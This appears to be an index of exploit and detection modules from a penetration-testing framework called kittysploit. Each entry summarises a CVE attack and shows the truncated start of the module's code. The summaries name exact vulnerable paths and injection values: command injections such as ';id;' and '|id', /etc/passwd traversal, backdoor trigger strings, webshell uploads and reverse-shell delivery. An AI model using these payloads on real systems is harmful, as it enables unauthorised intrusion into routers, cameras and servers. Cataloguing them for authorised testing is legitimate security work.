AWStats Totals - sort Parameter RCE (CVE-2008-3922)

Exploits CVE-2008-3922 by injecting PHP into the sort parameter of awstatstotals.php. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """AWStats Totals sort parameter RCE CVE-2008-3922.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

vsftpd - Compromised Package Backdoor RCE (CVE-2011-2523)

Triggers the vsftpd 2.3.4 backdoor via USER X: then opens an interactive session against the shell on TCP/6200. !/usr/bin/env python3 -- coding: utf-8 -- """vsftpd 2.3.4 backdoor RCE CVE-2011-2523.""" import re import socket import time from kittysploit import from...

ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103)

Exploits CVE-2010-20103 by triggering HELP ACIDBITCHEZ then executing shell commands over the FTP session. !/usr/bin/env python3 -- coding: utf-8 -- """ProFTPD 1.3.3c backdoor RCE CVE-2010-20103.""" import re import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient import...

distcc - Remote Command Execution (CVE-2004-2687)

Exploits CVE-2004-2687 by injecting shell commands into distcc ARGV. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """distcc RCE CVE-2004-2687 — opens execute session.""" import re import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient impo...

Zyxel NAS - setCookie Command Injection (CVE-2024-29973)

Exploits unauthenticated command injection in Zyxel NAS via multipart POST to /cmd,/simZysh/registermain/setCookie. Command output is returned; opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel NAS setCookie command injection CVE-2024-29973 — opens execute...

ZTE F460/F660 - web_shell_cmd.gch RCE (CVE-2014-2321)

Exploits CVE-2014-2321 by POSTing Cmd= to /webshellcmd.gch. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ZTE F460/F660 webshellcmd.gch RCE CVE-2014-2321 — opens execute session.""" from urllib.parse import quote from kittysploit import from...

D-Link/TOTOLINK - ExportSettings.sh Unauth Config Download

Various D-Link and TOTOLINK devices expose /cgi-bin/ExportSettings.sh without authentication, allowing download of device configuration backups CVE-2018-17786 / CVE-2022-32993 / CVE-2023-53896. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link / TOTOLINK unauthenticated ExportSettings.sh config...

DroboPix - demo API Command Injection Detection (CVE-2018-14706)

Detects DroboPix RCE by injecting into /DroboPix/api/drobopix/demo JSON enabled field, writing id output under /DroboPix/, then reading it. !/usr/bin/env python3 -- coding: utf-8 -- """DroboPix demo API command injection CVE-2018-14706.""" import re import secrets from kittysploit import from...

NUUO NVR - Peekaboo Backdoor Detection (CVE-2018-1150)

Detects active NUUO Peekaboo backdoor /tmp/moses by requesting /usersxml.php unauthenticated and looking for AccountInfo XML CVE-2018-1150. !/usr/bin/env python3 -- coding: utf-8 -- """NUUO NVR Peekaboo backdoor active check CVE-2018-1150.""" from kittysploit import from...

ASUSTOR ADM - aggrecate_js.cgi RCE Detection (CVE-2018-11510)

Detects CVE-2018-11510 by injecting ls into /portal/apis/aggrecatejs.cgi?script=launcher"&CMD&" and matching directory listing. !/usr/bin/env python3 -- coding: utf-8 -- """ASUSTOR ADM aggrecatejs.cgi unauthenticated RCE CVE-2018-11510.""" import re from kittysploit import from...

GPON Home Router - Diag Form RCE Detection (CVE-2018-10561)

Detects CVE-2018-10561/10562 by injecting a non-existent command via diag ping and checking diag.html for shell error or BusyBox overwrite. !/usr/bin/env python3 -- coding: utf-8 -- """GPON Home Router diagnostic form command injection CVE-2018-10561/10562.""" import time from kittysploit import...

PHPUnit - eval-stdin.php RCE Detection (CVE-2017-9841)

Detects CVE-2017-9841 by POSTing PHP to vendor phpunit Util/PHP/eval-stdin.php and checking for reflected echo output. !/usr/bin/env python3 -- coding: utf-8 -- """PHPUnit eval-stdin.php unauthenticated RCE CVE-2017-9841.""" import base64 from kittysploit import from lib.protocols.http.httpclient...

TerraMaster TOS - GetTest.php RCE Detection (CVE-2017-9328)

Detects CVE-2017-9328 by injecting a PHP webshell write via /include/ajax/GetTest.php and executing id. !/usr/bin/env python3 -- coding: utf-8 -- """TerraMaster TOS GetTest.php unauthenticated RCE CVE-2017-9328.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Joomla - com_fields SQLi Detection (CVE-2017-8917)

Detects CVE-2017-8917 by sending UpdateXML payload via comfields list fullordering and matching XPATH syntax error .255. in a 500 response. !/usr/bin/env python3 -- coding: utf-8 -- """Joomla comfields SQLi CVE-2017-8917.""" import re from kittysploit import from lib.protocols.http.httpclient...

TerraMaster TOS - GetTest.php RCE (CVE-2017-9328)

Exploits command injection in TerraMaster /include/ajax/GetTest.php to drop a PHP shell and open an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """TerraMaster TOS GetTest.php RCE CVE-2017-9328 — opens execute session.""" import re from kittysploit import from...

TBK DVR - Unauthenticated OS Command Injection (CVE-2024-3721)

Exploits CVE-2024-3721 on TBK DVR devices via /device.rsp command injection with Cookie uid=1. Command output is returned in the HTTP response; opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """TBK DVR unauthenticated OS command injection CVE-2024-3721 — opens...

PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)

Chains CVE-2024-8956 missing auth on param.cgi with CVE-2024-8957 OS command injection in ntpaddr. Delivers a reverse CMD payload via POST /cgi-bin/param.cgi?postnetworkotherconf and waits for a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """PTZOptics / VHD camera unauthenticated RCE...

QNAP - pingping.cgi Command Injection (CVE-2013-0143)

Exploits CVE-2013-0143 via /cgi-bin/pingping.cgi?pingip=1;;. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP pingping.cgi RCE CVE-2013-0143 — opens execute session.""" import base64 import re from urllib.parse import quote from kittysploit import from...

HomeMatic CCU2 - TCL RCE (CVE-2018-7297)

Exploits unauthenticated TCL system.Exec via /Text.exe on HomeMatic CCU2. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """HomeMatic CCU2 TCL interpreter RCE CVE-2018-7297 — opens execute session.""" import re from kittysploit import from...

TCExam - Unauthenticated File Upload RCE Detection (CVE-2010-2153)

Detects CVE-2010-2153 by uploading a phpinfo shell via tcefunctionstcecodeeditor.php. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-2153 by uploading a phpinfo shell via tcefunctionstcecodeeditor.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Apache ActiveMQ - Double-Slash Source Disclosure Detection (CVE-2010-1587)

Detects CVE-2010-1587 by requesting //admin/queues.jsp and matching the raw JSP expression $sessionScope"secret" in the response body. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-1587 by requesting //admin/queues.""" import re from kittysploit import from...

PrestaShop Mega Menu - ajax_phpcode.php RCE (CVE-2018-8823)

Exploits CVE-2018-8823 by passing PHP code to /modules/bamegamenu/ajaxphpcode.php?code=. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """PrestaShop Responsive Mega Menu ajaxphpcode.php RCE CVE-2018-8823 — opens execute session.""" import re from urllib.parse...

QNAP QTS - authLogin.cgi RCE (CVE-2017-6361)

Exploits command injection in QNAP /cgi-bin/authLogin.cgi rebootnoticemsg. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP QTS authLogin.cgi RCE CVE-2017-6361 — opens execute session.""" import base64 import re import time from kittysploit import from...

NUUO Camera - Unauthenticated OS Command Injection (CVE-2025-1338)

NUUO camera firmware up to 20250203 is vulnerable to unauthenticated OS command injection via the log parameter of /handleconfig.php. Command output is returned in the HTTP response. Opens an execute session for interactive command execution. !/usr/bin/env python3 -- coding: utf-8 -- """NUUO came...

Phpunity Newsmanager - tell.php LFI Detection (CVE-2010-0799)

Detects CVE-2010-0799 via misc/tellafriend/tell.php?id=../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-0799 via misc/tellafriend/tell.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

WordPress is-human - passthru RCE (CVE-2011-10033)

Exploits CVE-2011-10033 by injecting PHP into the type parameter of is-human/engine.php. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress is-human plugin RCE CVE-2011-10033.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.exploit.handler import Handl...

Spring Cloud Function - routing-expression RCE (CVE-2022-22963)

Exploits CVE-2022-22963 by injecting SpEL into the spring.cloud.function.routing-expression header to run a reverse CMD payload. Waits for a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Spring Cloud Function routing-expression RCE CVE-2022-22963 — reverse session.""" import base64...

FreeNAS - exec_raw.php RCE (CVE-2010-20059)

Exploits CVE-2010-20059 via /execraw.php?cmd= and opens an execute session. !/usr/bin/env python3 -- coding: utf-8 -- """FreeNAS execraw.php RCE CVE-2010-20059.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

D-Link DIR-300/600 - command.php RCE (CVE-2013-10048)

Exploits CVE-2013-10048 via POST /command.php with Cookie uid=vttest. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-300/600 command.php RCE CVE-2013-10048 — opens execute session.""" from kittysploit import from lib.protocols.http.httpclient import...

ASUSTOR ADM - aggrecate_js.cgi RCE (CVE-2018-11510)

Exploits command injection in ASUSTOR ADM aggrecatejs.cgi script=launcher parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ASUSTOR ADM aggrecatejs.cgi RCE CVE-2018-11510 — opens execute session.""" import re from urllib.parse import quote from...

Accellion FTA - getStatus Command Injection (CVE-2015-2857)

Exploits CVE-2015-2857 by injecting OS commands via oauthtoken on /tws/getStatus. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Accellion FTA getStatus oauthtoken RCE CVE-2015-2857 — opens execute session.""" import re from urllib.parse import quote from...

Zyxel Device - Export_Log File Read (CVE-2023-28770)

Reads arbitrary files via /ExportLog?/ on vulnerable Zyxel devices CVE-2023-28770. Does not open a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel ExportLog unauthenticated file read CVE-2023-28770.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300)

Exploits unauthenticated OS command injection on D-Link DWR devices via /EXCUSHELL headers cmdnum/command1/confirm1. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWR EXCUSHELL unauthenticated RCE CVE-2018-19300 — opens execute session.""" import re from kittysploit import from...

Netcore/Netis - UDP Backdoor Detection (CVE-2025-34117)

Detects Netcore/Netis UDP backdoor on port 53413 by sending XXXXXXXXnetcore and matching Login successed. !/usr/bin/env python3 -- coding: utf-8 -- """Netcore/Netis UDP backdoor on port 53413 CVE-2025-34117 / 2014 disclosure.""" import socket from kittysploit import from...

Redis - Lua Sandbox Escape Detection (CVE-2022-0543)

Detects CVE-2022-0543 on Debian/Ubuntu-packaged Redis by EVAL-loading liblua5.1 via package.loadlib and executing id/cat via io.popen. !/usr/bin/env python3 -- coding: utf-8 -- """Redis Lua sandbox escape RCE on Debian/Ubuntu packages CVE-2022-0543.""" import socket from kittysploit import from...

OpenSMTPD - MAIL FROM Command Injection Detection (CVE-2020-7247)

Detects OpenSMTPD CVE-2020-7247 by sending a crafted MAIL FROM address containing shell metacharacters MAIL FROM: and checking whether the server accepts it with a 250 Ok response. !/usr/bin/env python3 -- coding: utf-8 -- """OpenSMTPD MAIL FROM command injection CVE-2020-7247.""" import secrets...

OmniPCX - masterCGI RCE Detection (CVE-2007-3010)

Detects CVE-2007-3010 by requesting /cgi-bin/masterCGI?ping=nomip&user=;id;. !/usr/bin/env python3 -- coding: utf-8 -- """Alcatel-Lucent OmniPCX masterCGI RCE CVE-2007-3010.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

FreePBX - API handler system() Detection (CVE-2014-1903)

Detects CVE-2014-1903 by calling /admin/config.php handler=api function=system with args=id and matching uid=. !/usr/bin/env python3 -- coding: utf-8 -- """FreePBX admin API handler system RCE CVE-2014-1903.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Synology DSM - imageSelector.cgi RCE Detection (CVE-2013-6955)

Detects CVE-2013-6955 by appending commands into redirect.cgi via imageSelector.cgi SLICEUPLOAD and reading /redirect.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """Synology DSM imageSelector.cgi RCE CVE-2013-6955.""" import re from kittysploit import from lib.protocols.http.httpclient import...

VICIdial - manager_send.php RCE Detection (CVE-2013-4468)

Detects CVE-2013-4468/4467 by injecting ;id into extension via /agc/managersend.php OriginateVDRelogin. !/usr/bin/env python3 -- coding: utf-8 -- """VICIdial managersend.php command injection CVE-2013-4468.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Narcissus - backend.php RCE Detection (CVE-2012-10033)

Detects CVE-2012-10033 by POSTing machine=0&action=configureimage&release=|id to backend.php. !/usr/bin/env python3 -- coding: utf-8 -- """Narcissus backend.php command injection CVE-2012-10033.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

HybridAuth - install.php RCE Detection (CVE-2014-125116)

Detects HybridAuth installer RCE by writing system$POST0 into config via install.php then POSTing 0=id to config.php. !/usr/bin/env python3 -- coding: utf-8 -- """HybridAuth install.php / config.php RCE CVE-2014-125116.""" import re from kittysploit import from lib.protocols.http.httpclient impor...

Monitorix - Pipe Command Injection Detection (CVE-2013-7070)

Detects CVE-2013-7070/7071 by requesting /monitorix/|id| style paths. !/usr/bin/env python3 -- coding: utf-8 -- """Monitorix HTTP server pipe command injection CVE-2013-7070.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

Apache Archiva - OGNL RCE Detection (CVE-2013-2251)

Detects CVE-2013-2251 by requesting /security/login.action?redirect:$... ProcessBuilderid OGNL payload. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Archiva Struts OGNL RCE CVE-2013-2251 / S2-016 style.""" import re from urllib.parse import quote from kittysploit import from...

QNAP - pingping.cgi RCE Detection (CVE-2013-0143)

Detects CVE-2013-0143 by requesting /cgi-bin/pingping.cgi?pingip=1;id; with Basic guest:guest or without auth. !/usr/bin/env python3 -- coding: utf-8 -- """QNAP pingping.cgi command injection CVE-2013-0143.""" import base64 import re from kittysploit import from lib.protocols.http.httpclient impo...

Hastymail2 - rs=passthru RCE Detection (CVE-2011-4542)

Detects CVE-2011-4542 by POSTing rs=passthru&rsargs=asd&rsargs=id to mailbox Drafts. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4542 by POSTing rs=passthru&rsargs=asd&rsargs=id to mailbox Drafts.""" import re from kittysploit import from lib.protocols.http.httpclient import...

nostromo nhttpd - Directory Traversal Detection (CVE-2011-0751)

Detects CVE-2011-0751 by requesting /..%2f..%2f..%2f..%2f..%2fetc/passwd and matching root:x:0:0. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-0751 by requesting /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

FreeNAS - exec_raw.php RCE Detection (CVE-2010-20059)

Detects CVE-2010-20059 by requesting /execraw.php?cmd=id and matching uid=. !/usr/bin/env python3 -- coding: utf-8 -- """FreeNAS execraw.php RCE CVE-2010-20059.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name'...

ManageEngine Desktop Central - FileUploadServlet Detection (CVE-2015-8249)

Detects CVE-2015-8249 by uploading a JSP via FileUploadServlet connectionId path traversal into jspf/ and verifying execution. !/usr/bin/env python3 -- coding: utf-8 -- """ManageEngine Desktop Central FileUploadServlet path traversal CVE-2015-8249.""" from kittysploit import from...

Sierra Wireless AceManager - Log Disclosure Detection (CVE-2015-6479)

Detects CVE-2015-6479 by requesting /filteredlogs.txt and matching ALEOS log markers. !/usr/bin/env python3 -- coding: utf-8 -- """Sierra Wireless AceManager filteredlogs.txt disclosure CVE-2015-6479.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...